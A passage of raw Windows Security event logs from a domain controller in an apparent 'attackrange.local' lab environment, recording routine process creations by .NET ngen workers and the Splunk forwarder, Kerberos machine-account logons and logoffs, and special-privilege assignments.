chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:40 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254792 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 32c -InterruptEvent 0 -NGENProcess 34c -Pipe 2f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:42 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254796 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 1ac -InterruptEvent 0 -NGENProcess 364 -Pipe 338 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:43 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254797 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x450 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 36c -InterruptEvent 0 -NGENProcess 310 -Pipe 368 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254800 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D2C4B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:06:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254799 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D2C4B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62501 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:06:44 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254798 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D2C4B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:06:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254802 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2fc -InterruptEvent 0 -NGENProcess 33c -Pipe 370 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:54 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254801 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 358 -InterruptEvent 0 -NGENProcess 310 -Pipe 294 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:06:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254805 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D4A09 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:06:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254804 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D4A09 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 62510 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:06:57 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254803 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D4A09 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254811 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D4C71 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254810 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D4C71 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62514 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254809 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D4C71 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254808 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D4C05 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254807 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D4C05 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62513 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:06:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254806 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D4C05 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 12:07:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254812 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 380 -InterruptEvent 0 -NGENProcess 348 -Pipe 34c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254813 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2bc -InterruptEvent 0 -NGENProcess 360 -Pipe 300 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254826 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x968 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254825 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6AE1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254824 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6BEF - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=254823 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6C38 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=254822 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1D6CE0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {250C95BA-D7BE-68DE-E803-AA7B4845FE00} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 62519 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 12:07:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=254821 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1D6CE0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - 